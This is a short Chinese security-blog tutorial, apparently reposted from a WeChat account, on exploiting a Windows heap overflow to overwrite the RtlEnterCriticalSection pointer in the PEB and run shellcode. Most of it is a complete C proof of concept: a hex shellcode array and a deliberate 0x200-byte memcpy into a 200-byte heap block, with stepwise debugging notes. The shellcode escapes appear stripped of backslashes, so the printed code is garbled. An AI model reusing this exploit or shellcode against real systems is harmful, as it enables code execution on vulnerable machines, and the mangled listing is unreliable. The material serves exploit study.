堆溢出攻击之RtlEnterCriticalSection()函数

  • A+
所属分类:安全开发
微信搜索关注 安全族





本文简介

本文通过堆溢出利用RtlEnterCriticalSection函数来执行shellcode



1.完整代码讲解

    代码讲解,给h1申请200个字节,之后通过memcpy将shellcode拷贝到h1内存中,但是memcpy(h1,shellcode,0X200);这行代码,将200写成了十六进制200,从而导致堆溢出,当h2在申请空间的时候,而早已被h1覆盖了。这就会导致DWOD SHOOT了。

#include "stdafx.h"#include <windows.h>char shellcode[]="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90""x90x90x90x90x90x90x90x90x90x90x90xfcx68x6ax0ax38x1ex68x63x89xd1x4fx68x32x74x91x0c""x8bxf4x8dx7exf4x33xdbxb7x04x2bxe3x66xbbx33x32x53""x68x75x73x65x72x54x33xd2x64x8bx5ax30x8bx4bx0cx8b""x49x1cx8bx09x8bx69x08xadx3dx6ax0ax38x1ex75x05x95""xffx57xf8x95x60x8bx45x3cx8bx4cx05x78x03xcdx8bx59""x20x03xddx33xffx47x8bx34xbbx03xf5x99x0fxbex06x3a""xc4x74x08xc1xcax07x03xd0x46xebxf1x3bx54x24x1cx75""xe4x8bx59x24x03xddx66x8bx3cx7bx8bx59x1cx03xddx03""x2cxbbx95x5fxabx57x61x3dx6ax0ax38x1ex75xa9x33xdb""x53x68x77x65x73x74x68x66x61x69x6cx8bxc4x53x50x50""x53xFFx57xFCx53xFFx57xF8x90xb6x11x40x00x01x00x00x00x88x06x3ax00x20xf0xfdx7f";
int main(int argc, char* argv[]){ HLOCAL h1,h2; HANDLE hp = HeapCreate(0,0X10000,0X10000); h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); __asm int 3 memcpy(h1,shellcode,0X200); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); return 0;}





2.实例讲解

        目标是0X7ffdf0处RtlEnterCriticalSection处函数指针,将RtlEnterCriticalSection其修改为shellcode即可触发

    首先看h1申请大小

堆溢出攻击之RtlEnterCriticalSection()函数

     申请完之后,int3断点是为了防调试,将其nop掉即可,将shellcode拷贝进去。之后shellcode的地址写入到RtlEnterCriticalSection函数处。

堆溢出攻击之RtlEnterCriticalSection()函数

    这样就成功覆盖到h2内存处了,继续运行程序看一下,成功执行shellcode

    

堆溢出攻击之RtlEnterCriticalSection()函数





扫一扫关注本公众号

堆溢出攻击之RtlEnterCriticalSection()函数


本文始发于微信公众号(安全族):堆溢出攻击之RtlEnterCriticalSection()函数

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: